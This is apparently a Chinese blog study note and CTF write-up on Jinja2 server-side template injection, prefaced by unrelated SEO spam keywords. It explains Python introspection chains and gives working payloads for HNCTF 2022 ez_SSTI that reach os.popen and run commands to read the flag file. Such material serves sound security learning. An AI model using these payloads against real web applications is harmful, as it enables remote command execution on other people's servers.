创意网站展示,房产律师在线咨询电话免费,辽宁建设工程信息网保函保险服务,莞城网站建设前面学习了SSTI中的smarty类型#xff0c;今天学习了Jinja2#xff0c;两种类型都是flask框架的#xff0c;但是在注入的语法上还是有不同 SSTI#xff1a;服务器端模板注入#xff0c;也属于一种注入类型。与sql注入类似#xff0c;也是通过凭借进行命令的执行#xff…前面学习了SSTI中的smarty类型今天学习了Jinja2两种类型都是flask框架的但是在注入的语法上还是有不同 SSTI服务器端模板注入也属于一种注入类型。与sql注入类似也是通过凭借进行命令的执行sql是和数据库的查询语句进行拼接。SSTI是在后端的渲染进行拼接SSTI主要是运用在目前的网站框架下。 经过查询资料SSTI漏洞产生的原因 因为在函数渲染时对于用户输入的变量没有进行渲染才会导致漏洞的出现 附上一张经典判断SSTI模板类型的图 Jinja2的语法
{% ... %} //声明变量当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}{%print(...)%}基础知识
1.__class__
用于返回对象所属的类 .__class__
type str().__class__
type tuple[].__class__
type list{}.__class__
type dict2.__bases__
用于查看类的父类可以用数组进行索引 ().__class__.__bases__
(type object,).__class__.__bases__
(type basestring,)[].__class__.__bases__
(type object,){}.__class__.__bases__
(type object,)[].__class__.__bases__[0]
type object3.__subclasses__
返回类的所有子类 4.__globals__和__init__
__init__:实例化类时自动调用也可以直接调用来初始化
__globals__:返回一个字典包含当前作用域的全局变量和对应的值
一般我们要用的类是os._wrap_close在获取类之后调用init来实例化之后globals获取这个对象的全局变量和对相应的值(这里我理解的是类似于序列化的过程经过实例化的过程然后才能调用输出globals就相当于一个输出的作用)
(.__class__.__base__.__subclasses__()[128].__init__.__globals__) 5.popen方法
字符串的形式输入命令比如lscat/flag等它会创建一个子进程执行命令从而逃逸jinja2的进程的沙箱限制变量类型 →找到所属类型 →回溯基类 →寻找可利用子类 →最终payload在用read来读取执行的结果
注入思路 随便找一个内置类对象用__class__拿到他所对应的类用__bases__拿到基类class object用__subclasses__()拿到子类列表在子类列表中直接寻找可以利用的类getshell用popen方法执行命令read读取执行的结果 [HNCTF 2022 WEEK2]ez_SSTI
打开环境先进行判断这里参数是看了wp才知道是name的通过判断知道是属于Jinja2模板的 构建payload返回出所有的子类一般要用到的子类是os._wrap_close,在不同的情况下所处的位置不同
{{.__class__.__bases__[0].__subclasses__()}}寻找os._wrap_close类定位在137在该目录下寻找flag {{config.__class__.__init__.__globals__[os].popen(cat flag).read() }}
或
?name{{.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[__builtins__][eval](__import__(os).popen(tac flag).read())}}